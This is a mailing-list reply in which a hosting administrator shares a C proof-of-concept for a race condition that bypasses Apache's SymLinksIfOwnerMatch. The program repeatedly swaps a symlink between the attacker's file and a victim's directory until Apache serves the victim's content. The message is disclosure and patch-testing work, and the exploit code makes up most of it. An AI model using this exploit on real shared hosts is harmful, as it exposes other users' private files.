On 03/04/2013 09:25 AM, Jason Staburn wrote:
If you would like more information on the exploit itself, please let me
know. I have a proof of concept that is able to hit the exploit with
100% success.

I'm trying to test this patch and would love to know how you're able to 
duplicate this on-demand.


My proof of concept is attached to this email, but this exploit shows up in the wild all the time. I've seen numerous php and perl based exploits pop up via script kiddie injections. This PoC is just something I threw together in a few minutes.

You'll need to update the paths to the files in main() to suit your environment. If you're having a hard time hitting the race condition, try tuning tim.tv_nsec in tsleep().

Finally, this exploit works two ways:
1) symlinking directly to your target file.
2) symlinking to a directory containing the target file.

The patch I published a few months ago fixes both vectors.


--
Eric Jacobs
Junior Systems Administrator
Bluehost.com
/** Apache Symlink Exploiter.
 *
 *  Proof of concept for exploit where symlinks to files with non-matching UIDs
 *  are served by Apache even when Options +SymLinksIfOwnerMatch is enabled.
 *
 *  The exploit is achieved by very quickly rocking a symlink back and forth
 *  between a file owned by the symlink owner, and file you actually want 
 *  apache to serve, then requesting the symlink through apache hundreds of
 *  times in rapid succession. If everything goes well, you should eventually
 *  hit a race condition between UID checks and apache will serve your target
 *  file.
 *
 *  Author:   Eric Jacobs
 *  Date:     September 11, 2012
 *  Bluehost.com
 */


#include <unistd.h>
#include <stdio.h>
#include <time.h>

/* tsleep() will sleep the thread for approx 1/1000 of a second. No sense
 * in destroying the box that you're trying to exploit by creating and
 * destroying symlinks too fast.
 */
int tsleep() {
    struct timespec tim, tim2;
    tim.tv_sec = 0;
    tim.tv_nsec = 100;

    if(nanosleep(&tim,&tim2) < 0) {
        printf("Failed during nanosleep.");
        return 1;
    }
    return 0;
}

int main(int argc, char *argv[]) {

    // The file your user does not own.
    char target[] = "/home1/victim/public_html/\0";

    // A file to serve when you aren't serving your target file.
    char dummy[] = "/home1/attacker/public_html/\0";

    // The name of the symlink you'll request in the browser.
    char sym[] = "/home1/attacker/public_html/link\0";

    /* set up the original symlink with the uids matching */
    symlink(dummy, sym);

    while(1) {
        unlink(sym);
        symlink(target, sym);
        tsleep();
        unlink(sym);
        symlink(dummy, sym);
        tsleep();
    }
   
    return 0;
}

Reply via email to